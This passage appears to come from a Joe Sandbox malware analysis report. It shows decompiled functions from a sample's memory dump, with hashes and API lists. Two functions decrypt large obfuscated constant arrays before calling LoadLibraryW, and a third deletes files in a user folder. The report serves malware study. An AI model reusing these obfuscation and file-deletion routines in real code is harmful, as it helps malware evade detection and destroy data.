				 *((intOrPtr*)(_t219 - 0x1c0)) = 0x9a088a35;
				 *((intOrPtr*)(_t219 - 0x1bc)) = 0x996bda46;
				 *((intOrPtr*)(_t219 - 0x1b8)) = 0x3a559602;
				 *((intOrPtr*)(_t219 - 0x1b4)) = 0x4aa0f9d9;
				 *((intOrPtr*)(_t219 - 0x1b0)) = 0xf109c812;
				 *((intOrPtr*)(_t219 - 0x1ac)) = 0xb258589c;
				 *((intOrPtr*)(_t219 - 0x1a8)) = 0xf06a256f;
				 *((intOrPtr*)(_t219 - 0x1a4)) = 0xe5530535;
				 *((intOrPtr*)(_t219 - 0x1a0)) = 0x54f6c946;
				 *((intOrPtr*)(_t219 - 0x19c)) = 0x1ae47807;
				 *((intOrPtr*)(_t219 - 0x198)) = 0x7398483;
				 *((intOrPtr*)(_t219 - 0x194)) = 0x5f679ef8;
				 *((intOrPtr*)(_t219 - 0x190)) = 0xa231eaab;
				 *((intOrPtr*)(_t219 - 0x18c)) = 0x7e7a355e;
				 *((intOrPtr*)(_t219 - 0x188)) = 0x34e54a43;
				 *((intOrPtr*)(_t219 - 0x184)) = 0xbf413261;
				 *((intOrPtr*)(_t219 - 0x180)) = 0xc55b4bbd;
				 *((intOrPtr*)(_t219 - 0x17c)) = 0xdbccb5eb;
				 *((intOrPtr*)(_t219 - 0x178)) = 0x88dc8eec;
				 *((intOrPtr*)(_t219 - 0x174)) = 0x5b47b2d3;
				 *((intOrPtr*)(_t219 - 0x170)) = 0xff3689c;
				 *((intOrPtr*)(_t219 - 0x16c)) = 0x86c474b4;
				 *((intOrPtr*)(_t219 - 0x168)) = 0xa31e6d78;
				 *((intOrPtr*)(_t219 - 0x164)) = 0xf29d0511;
				 *((intOrPtr*)(_t219 - 0x160)) = 0xb17b3be;
				 *((intOrPtr*)(_t219 - 0x15c)) = 0x919acea5;
				 *((intOrPtr*)(_t219 - 0x158)) = 0xf86356aa;
				 *((intOrPtr*)(_t219 - 0x154)) = 0x52bb78cf;
				 *((intOrPtr*)(_t219 - 0x150)) = 0x3c04ab99;
				 *((intOrPtr*)(_t219 - 0x14c)) = 0x389059d2;
				 *((intOrPtr*)(_t219 - 0x148)) = 0x2d1ae5a3;
				 *((intOrPtr*)(_t219 - 0x144)) = 0x6bcf7eaa;
				 *((intOrPtr*)(_t219 - 0x140)) = 0xb406abeb;
				 *((intOrPtr*)(_t219 - 0x13c)) = 0x5c174f02;
				 *((intOrPtr*)(_t219 - 0x138)) = 0x771e2f46;
				 *((intOrPtr*)(_t219 - 0x134)) = 0x7ad6da9a;
				 *((intOrPtr*)(_t219 - 0x130)) = 0xc025ce9d;
				 *((intOrPtr*)(_t219 - 0x12c)) = 0x88eaaa22;
				 *((intOrPtr*)(_t219 - 0x128)) = 0xd362b468;
				 *((intOrPtr*)(_t219 - 0x124)) = 0x8a41db48;
				 *((intOrPtr*)(_t219 - 0x120)) = 0x5669a365;
				 *((intOrPtr*)(_t219 - 0x11c)) = 0x70a6196;
				 *((intOrPtr*)(_t219 - 0x118)) = 0xa24aa49b;
				 *((intOrPtr*)(_t219 - 0x114)) = 0x6dbf05c0;
				 *((intOrPtr*)(_t219 - 0x110)) = 0xcbe93580;
				 *((intOrPtr*)(_t219 - 0x10c)) = 0xd357b271;
				 *((intOrPtr*)(_t219 - 0x108)) = 0xd2ea199a;
				 *((intOrPtr*)(_t219 - 0x104)) = 0xf534a00d;
				 *((intOrPtr*)(_t219 - 0x100)) = 0x63c4b191;
				 *((intOrPtr*)(_t219 - 0xfc)) = 0x546fbd97;
				 *((intOrPtr*)(_t219 - 0xf8)) = 0x286142e7;
				 *((intOrPtr*)(_t219 - 0xf4)) = 0x69bbd620;
				 *((intOrPtr*)(_t219 - 0xf0)) = 0x2b120040;
				 *((intOrPtr*)(_t219 - 0xec)) = 0xc39cbd26;
				 *((intOrPtr*)(_t219 - 0xe8)) = 0xd9b7b159;
				 *((intOrPtr*)(_t219 - 0xe4)) = 0xb96f0dab;
				 *((intOrPtr*)(_t219 - 0xe0)) = 0xa38c23f3;
				 *((intOrPtr*)(_t219 - 0xdc)) = 0xd520c6f6;
				 *((intOrPtr*)(_t219 - 0xd8)) = 0xd8155d0f;
				 *((intOrPtr*)(_t219 - 0xd4)) = 0x2643375;
				 *((intOrPtr*)(_t219 - 0xd0)) = 0xbf52a948;
				 *((intOrPtr*)(_t219 - 0xcc)) = 0xa261a5fa;
				 *((intOrPtr*)(_t219 - 0xc8)) = 0x53d3e771;
				 *((intOrPtr*)(_t219 - 0xc4)) = 0x2fd537db;
				 *((intOrPtr*)(_t219 - 0xc0)) = 0xce3fa065;
				 *((intOrPtr*)(_t219 - 0xbc)) = 0x20058305;
				 *((intOrPtr*)(_t219 - 0xb8)) = 0x32f139;
				 *((intOrPtr*)(_t219 - 0xb4)) = 0x44e4236d;
				 *((intOrPtr*)(_t219 - 0xb0)) = 0x9254ab0f;
				 *((intOrPtr*)(_t219 - 0xac)) = 0x4f26c3f5;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t219 - 0xa8)) = 0x154b3386;
				 *((intOrPtr*)(_t219 - 0xa4)) = 0x99d1912b;
				 *((intOrPtr*)(_t219 - 0xa0)) = 0xa71eb4d;
				 *((intOrPtr*)(_t219 - 0x9c)) = 0xb62e1883;
				 *((intOrPtr*)(_t219 - 0x98)) = 0x18c31c18;
				 *((intOrPtr*)(_t219 - 0x94)) = 0x3d03d608;
				 *((intOrPtr*)(_t219 - 0x90)) = 0xafd39ba5;
				 *((intOrPtr*)(_t219 - 0x8c)) = 0x7d9da429;
				 *((intOrPtr*)(_t219 - 0x88)) = 0x4e76c485;
				 *((intOrPtr*)(_t219 - 0x84)) = 0x91c1d596;
				 *((intOrPtr*)(_t219 - 0x80)) = 0xcb3120a9;
				 *((intOrPtr*)(_t219 - 0x7c)) = 0xa105f41;
				 *((intOrPtr*)(_t219 - 0x78)) = 0xa8708e62;
				 *((intOrPtr*)(_t219 - 0x74)) = 0x1df00a02;
				 *((intOrPtr*)(_t219 - 0x70)) = 0xea6037a7;
				 *((intOrPtr*)(_t219 - 0x6c)) = 0x61d15294;
				 *((intOrPtr*)(_t219 - 0x68)) = 0x24f14a40;
				 *((intOrPtr*)(_t219 - 0x64)) = 0xff266bfc;
				 *((intOrPtr*)(_t219 - 0x60)) = 0x355310fd;
				 *((intOrPtr*)(_t219 - 0x5c)) = 0xc9441fea;
				 *((intOrPtr*)(_t219 - 0x58)) = 0xcada8584;
				 *((intOrPtr*)(_t219 - 0x54)) = 0x78312f37;
				 *((intOrPtr*)(_t219 - 0x50)) = 0xc3586c2c;
				 *((intOrPtr*)(_t219 - 0x4c)) = 0x8a518e36;
				 *((intOrPtr*)(_t219 - 0x48)) = 0xea973514;
				 *((intOrPtr*)(_t219 - 0x44)) = 0xf8cf530e;
				 *((intOrPtr*)(_t219 - 0x40)) = 0xc7be2918;
				 *((intOrPtr*)(_t219 - 0x3c)) = 0x208e4c28;
				 *((intOrPtr*)(_t219 - 0x38)) = 0x89cc77a3;
				 *((intOrPtr*)(_t219 - 0x34)) = 0xbb48c624;
				 *((intOrPtr*)(_t219 - 0x30)) = 0x494b7ba8;
				 *((intOrPtr*)(_t219 - 0x2c)) = 0xe681a771;
				 *((intOrPtr*)(_t219 - 0x28)) = 0xd0e3a5cf;
				 *((intOrPtr*)(_t219 - 0x24)) = 0x1e9b134d;
				 *((intOrPtr*)(_t219 - 0x20)) = 0x27ce49be;
				 *((intOrPtr*)(_t219 - 0x1c)) = 0x3b6b481a;
				 *((intOrPtr*)(_t219 - 0x18)) = 0x8b7204b8;
				 *((intOrPtr*)(_t219 - 0x14)) = 0xed62631a;
				 *((intOrPtr*)(_t219 - 0x10)) = 0xf72fea24;
				 *((intOrPtr*)(_t219 - 0xc)) = 0xac97cf4;
				 *((intOrPtr*)(_t219 - 8)) = 0xdf5ea3ed;
				 *((intOrPtr*)(_t219 - 4)) = 0x4071947f;
				_t217 = L00501D10(0x510ed0, 0x44, __edi, __esi);
				 *0x514c90 = LoadLibraryW(_t205);
				L00501DB0(_t217);
				_t212 =  *0x514c90; // 0x0
				return E00501570(_t209, _t212, _t219 - 0x32c, _t217, 0xcb, 0x63b87d7a, 0x512d60);
			}

0x0050902a
0x0050902a
0x00509034
0x0050903e
0x00509048
0x00509052
0x0050905c
0x00509066
0x00509070
0x0050907a
0x00509084
0x0050908e
0x00509098
0x005090a2
0x005090ac
0x005090b6
0x005090c0
0x005090ca
0x005090d4
0x005090de
0x005090e8
0x005090f2
0x005090fc
0x00509106
0x00509110
0x0050911a
0x00509124
0x0050912e
0x00509138
0x00509142
0x0050914c
0x00509156
0x00509160
0x0050916a
0x00509174
0x0050917e
0x00509188
0x00509192
0x0050919c
0x005091a6
0x005091b0
0x005091ba
0x005091c4
0x005091ce
0x005091d8
0x005091e2
0x005091ec
0x005091f6
0x00509200
0x0050920a
0x00509214
0x0050921e
0x00509228
0x00509232
0x0050923c
0x00509246
0x00509250
0x0050925a
0x00509264
0x0050926e
0x00509278
0x00509282
0x0050928c
0x00509296
0x005092a0
0x005092aa
0x005092b4
0x005092be
0x005092c8
0x005092d2
0x005092dc
0x005092e6
0x005092f0
0x005092fa
0x00509304
0x0050930e
0x00509318
0x00509322
0x0050932c
0x00509336
0x00509340
0x0050934a
0x00509354
0x0050935e
0x00509368
0x00509372
0x0050937c
0x00509386
0x00509390
0x0050939a
0x005093a4
0x005093ae
0x005093b8
0x005093c2
0x005093cc
0x005093d6
0x005093e0
0x005093ea
0x005093f4
0x005093fe
0x00509408
0x00509412
0x0050941c
0x00509426
0x00509430
0x0050943a
0x00509444
0x0050944e
0x00509458
0x00509462
0x0050946c
0x00509476
0x00509480
0x0050948a
0x00509494
0x0050949e
0x005094a8
0x005094b2
0x005094bc
0x005094c6
0x005094d0
0x005094da
0x005094e4
0x005094ee
0x005094f8
0x00509502
0x0050950c
0x00509516
0x00509520
0x0050952a
0x00509534
0x0050953e
0x00509548
0x00509552
0x0050955c
0x00509566
0x00509570
0x0050957a
0x00509584
0x0050958e
0x00509598
0x005095a2
0x005095ac
0x005095b6
0x005095c0
0x005095ca
0x005095d4
0x005095de
0x005095e8
0x005095f2
0x005095fc
0x00509606
0x00509610
0x0050961a
0x00509624
0x0050962e
0x00509638
0x00509642
0x0050964c
0x00509656
0x00509660
0x0050966a
0x00509674
0x0050967e
0x0050968d
0x00509697
0x005096a1
0x005096ab
0x005096b5
0x005096bf
0x005096c9
0x005096d3
0x005096dd
0x005096e7
0x005096ee
0x005096f5
0x005096fc
0x00509703
0x0050970a
0x00509711
0x00509718
0x0050971f
0x00509726
0x0050972d
0x00509734
0x0050973b
0x00509742
0x00509749
0x00509750
0x00509757
0x0050975e
0x00509765
0x0050976c
0x00509773
0x0050977a
0x00509781
0x00509788
0x0050978f
0x00509796
0x0050979d
0x005097a4
0x005097ab
0x005097b2
0x005097b9
0x005097c0
0x005097cf
0x005097da
0x005097df
0x005097e4
0x0050980b

APIs

LoadLibraryW.KERNEL32(00000000), ref: 005097D2

Strings

mk1, xrefs: 0050920A
Mq, xrefs: 00509697
^5z~, xrefs: 0050943A
m#D, xrefs: 00509656
7/1x, xrefs: 00509734
Ba(, xrefs: 005095AC
)E'5, xrefs: 00509124
@J5, xrefs: 005090C0
@, xrefs: 005095C0
CJ4, xrefs: 00509444

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: )E'5$7/1x$@$@J5$CJ4$Mq$^5z~$m#D$Ba($mk1
API String ID: 1029625771-1881183590
Opcode ID: 57e80b97fbf276956c0e7d083b57b9f89fa70431fb7264ca6e1ccd2807a0175a
Instruction ID: 3b1697005a4ac051b747895c819225a3d920c505e85d68ffd611e967129fb994
Opcode Fuzzy Hash: 57e80b97fbf276956c0e7d083b57b9f89fa70431fb7264ca6e1ccd2807a0175a
Instruction Fuzzy Hash: 8402A8F4C46369CBDB61DF82AA897CDBB70BB51304F6086C9C1593B215CB750A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0050BA2A, Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 171
libraryUNIQUE

C-Code - Quality: 99%

			E0050BA2A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t155;
				intOrPtr _t158;
				void* _t165;

				_t155 = __ebx;
				 *((intOrPtr*)(_t165 - 0x254)) = 0x63494279;
				 *((intOrPtr*)(_t165 - 0x250)) = 0xe174e45c;
				 *((intOrPtr*)(_t165 - 0x24c)) = 0x478f3a36;
				 *((intOrPtr*)(_t165 - 0x248)) = 0x5d285862;
				 *((intOrPtr*)(_t165 - 0x244)) = 0xf6204c51;
				 *((intOrPtr*)(_t165 - 0x240)) = 0x8f4b285d;
				 *((intOrPtr*)(_t165 - 0x23c)) = 0x9d782d6a;
				 *((intOrPtr*)(_t165 - 0x238)) = 0x50e6beb5;
				 *((intOrPtr*)(_t165 - 0x234)) = 0xd8c7ffa1;
				 *((intOrPtr*)(_t165 - 0x230)) = 0x797eee99;
				 *((intOrPtr*)(_t165 - 0x22c)) = 0xe2ad1a62;
				 *((intOrPtr*)(_t165 - 0x228)) = 0x267e8d69;
				 *((intOrPtr*)(_t165 - 0x224)) = 0xc6fccfd8;
				 *((intOrPtr*)(_t165 - 0x220)) = 0x65b05c7;
				 *((intOrPtr*)(_t165 - 0x21c)) = 0x52738282;
				 *((intOrPtr*)(_t165 - 0x218)) = 0x59a783a3;
				 *((intOrPtr*)(_t165 - 0x214)) = 0x5adf1a7b;
				 *((intOrPtr*)(_t165 - 0x210)) = 0x6e7de17a;
				 *((intOrPtr*)(_t165 - 0x20c)) = 0xca5ff49f;
				 *((intOrPtr*)(_t165 - 0x208)) = 0x2fc09274;
				 *((intOrPtr*)(_t165 - 0x204)) = 0x6658a50b;
				 *((intOrPtr*)(_t165 - 0x200)) = 0x16c1a0be;
				 *((intOrPtr*)(_t165 - 0x1fc)) = 0xcc1b9b67;
				 *((intOrPtr*)(_t165 - 0x1f8)) = 0x4a5fd6b3;
				 *((intOrPtr*)(_t165 - 0x1f4)) = 0x77c54917;
				 *((intOrPtr*)(_t165 - 0x1f0)) = 0xba3538b9;
				 *((intOrPtr*)(_t165 - 0x1ec)) = 0x7d4a2147;
				 *((intOrPtr*)(_t165 - 0x1e8)) = 0x69fa4a69;
				 *((intOrPtr*)(_t165 - 0x1e4)) = 0x1e128d5c;
				 *((intOrPtr*)(_t165 - 0x1e0)) = 0x723169a;
				 *((intOrPtr*)(_t165 - 0x1dc)) = 0x421b3829;
				 *((intOrPtr*)(_t165 - 0x1d8)) = 0xc46039bb;
				 *((intOrPtr*)(_t165 - 0x1d4)) = 0xddfb93a8;
				 *((intOrPtr*)(_t165 - 0x1d0)) = 0x7adb595a;
				 *((intOrPtr*)(_t165 - 0x1cc)) = 0xb501583d;
				 *((intOrPtr*)(_t165 - 0x1c8)) = 0xfe269756;
				 *((intOrPtr*)(_t165 - 0x1c4)) = 0x4e2bd0a;
				 *((intOrPtr*)(_t165 - 0x1c0)) = 0x46f3bca8;
				 *((intOrPtr*)(_t165 - 0x1bc)) = 0x99fe13f6;
				 *((intOrPtr*)(_t165 - 0x1b8)) = 0x4f8018c8;
				 *((intOrPtr*)(_t165 - 0x1b4)) = 0x9e804fe1;
				 *((intOrPtr*)(_t165 - 0x1b0)) = 0x342ba039;
				 *((intOrPtr*)(_t165 - 0x1ac)) = 0xe6f2d53d;
				 *((intOrPtr*)(_t165 - 0x1a8)) = 0xd6e3d6f3;
				 *((intOrPtr*)(_t165 - 0x1a4)) = 0x57bb77f1;
				 *((intOrPtr*)(_t165 - 0x1a0)) = 0x6c9926d2;
				 *((intOrPtr*)(_t165 - 0x19c)) = 0x93954019;
				 *((intOrPtr*)(_t165 - 0x198)) = 0x256fdde6;
				 *((intOrPtr*)(_t165 - 0x194)) = 0x221792dd;
				 *((intOrPtr*)(_t165 - 0x190)) = 0x358821bc;
				 *((intOrPtr*)(_t165 - 0x18c)) = 0x9bb828c9;
				 *((intOrPtr*)(_t165 - 0x188)) = 0x6375c400;
				 *((intOrPtr*)(_t165 - 0x184)) = 0xac66e5e2;
				 *((intOrPtr*)(_t165 - 0x180)) = 0x7c2520bd;
				 *((intOrPtr*)(_t165 - 0x17c)) = 0x5347274;
				 *((intOrPtr*)(_t165 - 0x178)) = 0x2c01a632;
				 *((intOrPtr*)(_t165 - 0x174)) = 0xcd57ff19;
				 *((intOrPtr*)(_t165 - 0x170)) = 0x189914cb;
				 *((intOrPtr*)(_t165 - 0x16c)) = 0x5725464a;
				 *((intOrPtr*)(_t165 - 0x168)) = 0x15a79522;
				 *((intOrPtr*)(_t165 - 0x164)) = 0x883d49b9;
				 *((intOrPtr*)(_t165 - 0x160)) = 0xdbd2223e;
				 *((intOrPtr*)(_t165 - 0x15c)) = 0xd2ced7e9;
				 *((intOrPtr*)(_t165 - 0x158)) = 0xac6f5ec4;
				 *((intOrPtr*)(_t165 - 0x154)) = 0x2d6cf3b1;
				 *((intOrPtr*)(_t165 - 0x150)) = 0x3e43fc0d;
				 *((intOrPtr*)(_t165 - 0x14c)) = 0xb9d50b04;
				 *((intOrPtr*)(_t165 - 0x148)) = 0x9500b725;
				 *((intOrPtr*)(_t165 - 0x144)) = 0x6686a35a;
				 *((intOrPtr*)(_t165 - 0x140)) = 0xe37de979;
				 *((intOrPtr*)(_t165 - 0x13c)) = 0xb932e49;
				 *((intOrPtr*)(_t165 - 0x138)) = 0x4570cb4a;
				 *((intOrPtr*)(_t165 - 0x134)) = 0xdd56b95f;
				 *((intOrPtr*)(_t165 - 0x130)) = 0xd4332a8e;
				 *((intOrPtr*)(_t165 - 0x12c)) = 0xf810e538;
				 *((intOrPtr*)(_t165 - 0x128)) = 0x9fa0e062;
				 *((intOrPtr*)(_t165 - 0x124)) = 0xe17b318f;
				 *((intOrPtr*)(_t165 - 0x120)) = 0xa99daeaa;
				 *((intOrPtr*)(_t165 - 0x11c)) = 0x81cb5a8b;
				 *((intOrPtr*)(_t165 - 0x118)) = 0x68c081b3;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t165 - 0x114)) = 0x5790c2c5;
				 *((intOrPtr*)(_t165 - 0x110)) = 0xd14e5467;
				 *((intOrPtr*)(_t165 - 0x10c)) = 0xf3568b1;
				 *((intOrPtr*)(_t165 - 0x108)) = 0xd1859a7d;
				 *((intOrPtr*)(_t165 - 0x104)) = 0x926cfea0;
				 *((intOrPtr*)(_t165 - 0x100)) = 0xce38d4be;
				 *((intOrPtr*)(_t165 - 0xfc)) = 0x49975a8;
				 *((intOrPtr*)(_t165 - 0xf8)) = 0x39069721;
				 *((intOrPtr*)(_t165 - 0xf4)) = 0x3ff5988f;
				 *((intOrPtr*)(_t165 - 0xf0)) = 0x40bdfd0f;
				 *((intOrPtr*)(_t165 - 0xec)) = 0xb932e23;
				 *((intOrPtr*)(_t165 - 0xe8)) = 0xf0070458;
				 *((intOrPtr*)(_t165 - 0xe4)) = 0x3e8d9ebd;
				 *((intOrPtr*)(_t165 - 0xe0)) = 0xcaf06021;
				 *((intOrPtr*)(_t165 - 0xdc)) = 0x75bf9aed;
				 *((intOrPtr*)(_t165 - 0xd8)) = 0xb0a905fc;
				 *((intOrPtr*)(_t165 - 0xd4)) = 0xc707501c;
				 *((intOrPtr*)(_t165 - 0xd0)) = 0xb79a14ce;
				 *((intOrPtr*)(_t165 - 0xcc)) = 0x3d3a2493;
				 *((intOrPtr*)(_t165 - 0xc8)) = 0x640088d0;
				 *((intOrPtr*)(_t165 - 0xc4)) = 0x1c282913;
				 *((intOrPtr*)(_t165 - 0xc0)) = 0x68fccc33;
				 *((intOrPtr*)(_t165 - 0xbc)) = 0x9bf4608c;
				 *((intOrPtr*)(_t165 - 0xb8)) = 0xb92080a;
				 *((intOrPtr*)(_t165 - 0xb4)) = 0xf5c8f6f3;
				 *((intOrPtr*)(_t165 - 0xb0)) = 0x286b9af5;
				 *((intOrPtr*)(_t165 - 0xac)) = 0x5409d4dc;
				 *((intOrPtr*)(_t165 - 0xa8)) = 0xd0af62fe;
				 *((intOrPtr*)(_t165 - 0xa4)) = 0xaec8326e;
				 *((intOrPtr*)(_t165 - 0xa0)) = 0xa870ef5e;
				 *((intOrPtr*)(_t165 - 0x9c)) = 0xdd8cf5ea;
				 *((intOrPtr*)(_t165 - 0x98)) = 0x8e64fc50;
				 *((intOrPtr*)(_t165 - 0x94)) = 0x7147bed3;
				 *((intOrPtr*)(_t165 - 0x90)) = 0xef4e1380;
				 *((intOrPtr*)(_t165 - 0x8c)) = 0xfcfaabf5;
				 *((intOrPtr*)(_t165 - 0x88)) = 0x521bcc2b;
				 *((intOrPtr*)(_t165 - 0x84)) = 0x2ba0cb6c;
				 *((intOrPtr*)(_t165 - 0x80)) = 0x93ddb426;
				 *((intOrPtr*)(_t165 - 0x7c)) = 0xe18c0515;
				 *((intOrPtr*)(_t165 - 0x78)) = 0xd364ac18;
				 *((intOrPtr*)(_t165 - 0x74)) = 0x30133878;
				 *((intOrPtr*)(_t165 - 0x70)) = 0x2477a80c;
				 *((intOrPtr*)(_t165 - 0x6c)) = 0x4f649ef0;
				 *((intOrPtr*)(_t165 - 0x68)) = 0xec17780d;
				 *((intOrPtr*)(_t165 - 0x64)) = 0xd7fcce46;
				 *((intOrPtr*)(_t165 - 0x60)) = 0x17b801b3;
				 *((intOrPtr*)(_t165 - 0x5c)) = 0xb31115cc;
				 *((intOrPtr*)(_t165 - 0x58)) = 0xdc042498;
				 *((intOrPtr*)(_t165 - 0x54)) = 0x5ad123c5;
				 *((intOrPtr*)(_t165 - 0x50)) = 0x5cd4380e;
				 *((intOrPtr*)(_t165 - 0x4c)) = 0x94097e9a;
				 *((intOrPtr*)(_t165 - 0x48)) = 0x2fd80092;
				 *((intOrPtr*)(_t165 - 0x44)) = 0xc2f5e2b4;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x74d59ad6;
				 *((intOrPtr*)(_t165 - 0x3c)) = 0x47c835c2;
				 *((intOrPtr*)(_t165 - 0x38)) = 0xd8441b8b;
				 *((intOrPtr*)(_t165 - 0x34)) = 0x7c07614d;
				 *((intOrPtr*)(_t165 - 0x30)) = 0xf13fa674;
				 *((intOrPtr*)(_t165 - 0x2c)) = 0xa6b65dcf;
				 *((intOrPtr*)(_t165 - 0x28)) = 0xa3c08375;
				 *((intOrPtr*)(_t165 - 0x24)) = 0x5ee40c11;
				 *((intOrPtr*)(_t165 - 0x20)) = 0x5b22c6ce;
				 *((intOrPtr*)(_t165 - 0x1c)) = 0x6adfd0eb;
				 *((intOrPtr*)(_t165 - 0x18)) = 0x1bf5425c;
				 *((intOrPtr*)(_t165 - 0x14)) = 0xab354f45;
				 *((intOrPtr*)(_t165 - 0x10)) = 0x724244a0;
				 *((intOrPtr*)(_t165 - 0xc)) = 0xfd06411d;
				 *((intOrPtr*)(_t165 - 8)) = 0xae4c4691;
				 *((intOrPtr*)(_t165 - 4)) = 0x5af1359b;
				_t163 = L00501D10(0x511610, 0x1f8, __edi, __esi);
				 *0x514ca0 = LoadLibraryW(_t151);
				L00501DB0(_t163);
				_t158 =  *0x514ca0; // 0x0
				return E00501570(_t155, _t158, _t165 - 0x254, _t163, 0x95, 0x51873af2, 0x514850);
			}

0x0050ba2a
0x0050ba2a
0x0050ba34
0x0050ba3e
0x0050ba48
0x0050ba52
0x0050ba5c
0x0050ba66
0x0050ba70
0x0050ba7a
0x0050ba84
0x0050ba8e
0x0050ba98
0x0050baa2
0x0050baac
0x0050bab6
0x0050bac0
0x0050baca
0x0050bad4
0x0050bade
0x0050bae8
0x0050baf2
0x0050bafc
0x0050bb06
0x0050bb10
0x0050bb1a
0x0050bb24
0x0050bb2e
0x0050bb38
0x0050bb42
0x0050bb4c
0x0050bb56
0x0050bb60
0x0050bb6a
0x0050bb74
0x0050bb7e
0x0050bb88
0x0050bb92
0x0050bb9c
0x0050bba6
0x0050bbb0
0x0050bbba
0x0050bbc4
0x0050bbce
0x0050bbd8
0x0050bbe2
0x0050bbec
0x0050bbf6
0x0050bc00
0x0050bc0a
0x0050bc14
0x0050bc1e
0x0050bc28
0x0050bc32
0x0050bc3c
0x0050bc46
0x0050bc50
0x0050bc5a
0x0050bc64
0x0050bc6e
0x0050bc78
0x0050bc82
0x0050bc8c
0x0050bc96
0x0050bca0
0x0050bcaa
0x0050bcb4
0x0050bcbe
0x0050bcc8
0x0050bcd2
0x0050bcdc
0x0050bce6
0x0050bcf0
0x0050bcfa
0x0050bd04
0x0050bd0e
0x0050bd18
0x0050bd22
0x0050bd2c
0x0050bd36
0x0050bd40
0x0050bd4a
0x0050bd54
0x0050bd63
0x0050bd6d
0x0050bd77
0x0050bd81
0x0050bd8b
0x0050bd95
0x0050bd9f
0x0050bda9
0x0050bdb3
0x0050bdbd
0x0050bdc7
0x0050bdd1
0x0050bddb
0x0050bde5
0x0050bdef
0x0050bdf9
0x0050be03
0x0050be0d
0x0050be17
0x0050be21
0x0050be2b
0x0050be35
0x0050be3f
0x0050be49
0x0050be53
0x0050be5d
0x0050be67
0x0050be71
0x0050be7b
0x0050be85
0x0050be8f
0x0050be99
0x0050bea3
0x0050bead
0x0050beb7
0x0050bec1
0x0050becb
0x0050bed2
0x0050bed9
0x0050bee0
0x0050bee7
0x0050beee
0x0050bef5
0x0050befc
0x0050bf03
0x0050bf0a
0x0050bf11
0x0050bf18
0x0050bf1f
0x0050bf26
0x0050bf2d
0x0050bf34
0x0050bf3b
0x0050bf42
0x0050bf49
0x0050bf50
0x0050bf57
0x0050bf5e
0x0050bf65
0x0050bf6c
0x0050bf73
0x0050bf7a
0x0050bf81
0x0050bf88
0x0050bf8f
0x0050bf96
0x0050bf9d
0x0050bfa4
0x0050bfb3
0x0050bfbe
0x0050bfc3
0x0050bfcd
0x0050bfef

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0050BFB6

Strings

z}n, xrefs: 0050BAD4
JF%W, xrefs: 0050BC6E
y}, xrefs: 0050BCDC
\t, xrefs: 0050BA34
G!J}, xrefs: 0050BB2E
yBIc, xrefs: 0050BA2A
bX(], xrefs: 0050BA48

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: G!J}$JF%W$\t$bX(]$yBIc$y}$z}n
API String ID: 1029625771-1870260104
Opcode ID: 961ec348b2578e3131c88223291983f88d7c79a70659e2469c0247a1ff0382fc
Instruction ID: 896dc6992ce78b45d643cc291a73eb23a11f19a33c0b00f05cf5284a4f3d478a
Opcode Fuzzy Hash: 961ec348b2578e3131c88223291983f88d7c79a70659e2469c0247a1ff0382fc
Instruction Fuzzy Hash: F1C1B9B0C46769CBDB60CF86AA857CDBB70FB42704F6086C8C5693B214CB754A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0050D792, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
fileCOMMON

C-Code - Quality: 19%

			E0050D792(void* __edi, void* __esi, void* __eflags) {
				void* _t12;
				void* _t13;
				void* _t20;
				int _t33;
				void* _t47;
				void* _t49;

				 *0x513664();
				_t12 = L00501D10(0x512010, 0x14, __edi, __esi);
				_t13 = _t49 - 0x410;
				 *0x513344(_t49 - 0x208, 0x104, _t12, _t49 - 0x618, _t13, _t13, 0x517393ad);
				L00501DB0(_t12);
				DeleteFileW(_t49 - 0x208);
				_t20 = L00501D10(0x511ee0, 0x58, __edi, _t12);
				 *0x513344(_t49 - 0x208, 0x104, _t20, _t49 - 0x618, "emitwpc", 0x517393ad);
				L00501DB0(_t20);
				DeleteFileW(_t49 - 0x208);
				_t47 = L00501D10(0x511ee0, 0x58, __edi, _t20);
				goto 0x521b77;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				 *0x513344(_t49 - 0x618, _t49 - 0x410, 0x517393ad);
				L00501DB0(_t47);
				_t33 = DeleteFileW(_t49 - 0x208); // executed
				return _t33;
			}

0x0050d792
0x0050d7a7
0x0050d7ae
0x0050d7ca
0x0050d7d5
0x0050d7e1
0x0050d7f6
0x0050d816
0x0050d821
0x0050d82d
0x0050d847
0x0050d857
0x0050d85c
0x0050d85d
0x0050d85e
0x0050d85f
0x0050d860
0x0050d861
0x0050d862
0x0050d863
0x0050d864
0x0050d86f
0x0050d87b
0x0050d885

APIs

SHGetFolderPathW.SHELL32 ref: 0050D792
_snwprintf.NTDLL ref: 0050D7CA
DeleteFileW.KERNEL32(?), ref: 0050D7E1
_snwprintf.NTDLL ref: 0050D816
DeleteFileW.KERNEL32(?), ref: 0050D82D

Strings

emitwpc, xrefs: 0050D803

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

